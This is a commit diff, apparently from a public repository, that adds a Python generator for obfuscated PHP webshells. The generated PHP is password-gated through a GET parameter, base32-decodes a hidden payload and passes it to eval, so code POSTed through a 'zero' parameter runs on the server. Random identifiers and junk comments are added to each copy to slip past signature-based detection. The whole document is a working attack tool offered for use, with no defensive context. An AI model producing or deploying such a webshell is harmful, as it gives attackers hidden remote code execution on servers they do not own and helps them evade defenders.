add create_webshell_with_py.py @pureqh ：💯

Create webshell
from：https://mp.weixin.qq.com/s/s0piu9qU8oq6M1qAZCyI4g
github： https://github.com/pureqh/webshell
author: pureqh

php/create_webshell_with_py.py

@@ -0,0 +1,81 @@
+import random
+
+#author: pureqh
+#github: https://github.com/pureqh/webshell
+#use:GET:http://url?pass=pureqh POST:zero
+
+shell = '''<?php
+class {0}{1}
+        public ${2} = null;
+        public ${3} = null;
+        function __construct(){1}
+            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
+        $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
+        $this->{3} = @{9}($this->{2});
+        @eval({5}.$this->{3}.{5});
+        {4}{4}{4}
+new {0}();
+function {6}(${7}){1}
+    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
+    ${8} = '';
+    $v = 0;
+    $vbits = 0;
+    for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
+    $v <<= 8;
+        $v += ord(${7}[$i]);
+        $vbits += 8;
+        while ($vbits >= 5) {1}
+            $vbits -= 5;
+            ${8} .= $BASE32_ALPHABET[$v >> $vbits];
+            $v &= ((1 << $vbits) - 1);{4}{4}
+    if ($vbits > 0){1}
+        $v <<= (5 - $vbits);
+        ${8} .= $BASE32_ALPHABET[$v];{4}
+    return ${8};{4}
+function {9}(${7}){1}
+    ${8} = '';
+    $v = 0;
+    $vbits = 0;
+    for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
+        $v <<= 5;
+        if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
+            $v += (ord(${7}[$i]) - 97);
+        {4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
+            $v += (24 + ${7}[$i]);
+        {4} else {1}
+            exit(1);
+        {4}
+        $vbits += 5;
+        while ($vbits >= 8){1}
+            $vbits -= 8;
+            ${8} .= chr($v >> $vbits);
+            $v &= ((1 << $vbits) - 1);{4}{4}
+    return ${8};{4}
+?>'''
+
+
+def random_keys(len):
+    str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
+    return ''.join(random.sample(str,len))
+
+def random_name(len):
+    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+    return ''.join(random.sample(str,len))  
+
+def build_webshell():
+    className = random_name(4)
+    lef = '''{'''
+    parameter1 = random_name(4)
+    parameter2 = random_name(4)
+    rig = '''}'''
+    disrupt = "\"/*"+random_keys(7)+"*/\""
+    fun1 = random_name(4)
+    fun1_vul = random_name(4)
+    fun1_ret = random_name(4)
+    fun2 = random_name(4)
+    shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
+    return shellc
+
+
+if __name__ == '__main__':
+    print (build_webshell())